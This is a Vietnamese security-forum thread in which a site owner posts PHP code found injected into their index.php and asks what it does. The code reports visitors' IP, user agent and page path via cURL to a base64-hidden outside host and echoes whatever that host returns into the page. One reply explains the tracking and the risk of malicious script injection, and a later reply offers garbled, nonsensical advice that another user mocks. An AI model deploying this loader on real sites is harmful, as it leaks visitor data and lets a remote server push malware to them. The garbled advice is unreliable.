banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thảo luận thâm nhập Bị chèn đoạn code vào web  XML
  [Question]   Bị chèn đoạn code vào web 20/03/2012 13:22:06 (+0700) | #1 | 259372
anh.nguyen287
Member

[Minus]    0    [Plus]
Joined: 19/03/2012 22:48:48
Messages: 2
Offline
[Profile] [PM]
Hôm nay kiểm tra host web thì thấy đoạn này chèn vào home và index.php của web. Các bạn cho mình biết ý nghĩa của nó là gì. Cảm ơn bạn

Code:
<?
include_once ("inc/class.inc.php");	
$toggle="1";
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = [color=red]base64_decode( 'aHR0cDovL2FkdmVjb25maXJtLmNvbS9zdGF0L3N0YXQucGhw[/color]').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>
[Up] [Print Copy]
  [Question]   Bị chèn đoạn code vào web 20/03/2012 19:14:46 (+0700) | #2 | 259393
miyumi2
Member

[Minus]    0    [Plus]
Joined: 11/03/2012 15:33:55
Messages: 57
Offline
[Profile] [PM]
Đoạn code này chủ yếu dùng các hàm cURL để lấy các chuỗi text từ địa chỉ (khi có client truy cập web của bạn):
http://adveco*****.com/stat/stat.php?ip=xxx.xxx.xxx.xxx..........
(nếu là bot của các search engine như Google, Bing thì không thực hiện).

Sự nguy hiểm ở đây là:
- Server adveco*****.com lấy được địa chỉ của IP của client, browser gì (user-agent), domain, đường dẫn URL webite của bạn,... Còn lấy thông tin để làm gì thì chỉ có chủ nhân biết!
- Chèn các đoạn mã HTML/script độc vào trang web của bạn (chỗ echo $sResult), các đoạn mã có thay đổi liên tục (tùy theo giá trị text trả về từ hàm cURL lấy từ server), các mã này có thể thực hiện lây nhiễm trojan xuống hàng loạt các máy client truy cập web của bạn).
[Up] [Print Copy]
  [Question]   Bị chèn đoạn code vào web 21/03/2012 07:28:28 (+0700) | #3 | 259422
anh.nguyen287
Member

[Minus]    0    [Plus]
Joined: 19/03/2012 22:48:48
Messages: 2
Offline
[Profile] [PM]
bạn có thể giải thích chi tiết hơn không
[Up] [Print Copy]
  [Question]   Bị chèn đoạn code vào web 21/03/2012 07:43:05 (+0700) | #4 | 259426
miyumi2
Member

[Minus]    0    [Plus]
Joined: 11/03/2012 15:33:55
Messages: 57
Offline
[Profile] [PM]

anh.nguyen287 wrote:
bạn có thể giải thích chi tiết hơn không 


Theo mình thì nếu bạn chưa nghiên cứu nhiều về PHP thì trước mắt nên tìm người tư vấn giúp khắc phục bịt các lỗ hổng trên máy chủ hoặc trong mã nguồn website để không còn bị chèn code vô nữa.
[Up] [Print Copy]
  [Question]   Bị chèn đoạn code vào web 20/07/2012 12:27:21 (+0700) | #5 | 267188
[Avatar]
nhoghequa
Member

[Minus]    0    [Plus]
Joined: 13/11/2011 20:15:04
Messages: 2
Offline
[Profile] [PM] [Email] [Yahoo!]
có lẽ bạn đã bị code này lấy đi 1 số thông tin trong mục //d: rồi
Bạn nên tạo 1 file .exe vào mục này với tên reset.dat
//reboot.oso.del all file for //d:
bên kia sẽ ko dám làm j bạn âu. Đây là biện pháp mạnh, nếu bạn ko mún mất thông tin thì oke. get stars
[Up] [Print Copy]
  [Question]   Bị chèn đoạn code vào web 20/07/2012 14:18:18 (+0700) | #6 | 267197
cino
Member

[Minus]    0    [Plus]
Joined: 29/11/2010 00:50:44
Messages: 37
Offline
[Profile] [PM]
[quote=nhoghequa]có lẽ bạn đã bị code này lấy đi 1 số thông tin trong mục //d: rồi
Bạn nên tạo 1 file .exe vào mục này với tên reset.dat
//reboot.oso.del all file for //d:
bên kia sẽ ko dám làm j bạn âu. Đây là biện pháp mạnh, nếu bạn ko mún mất thông tin thì oke. get stars[/quote]
Bác này teen quá nhỉ smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|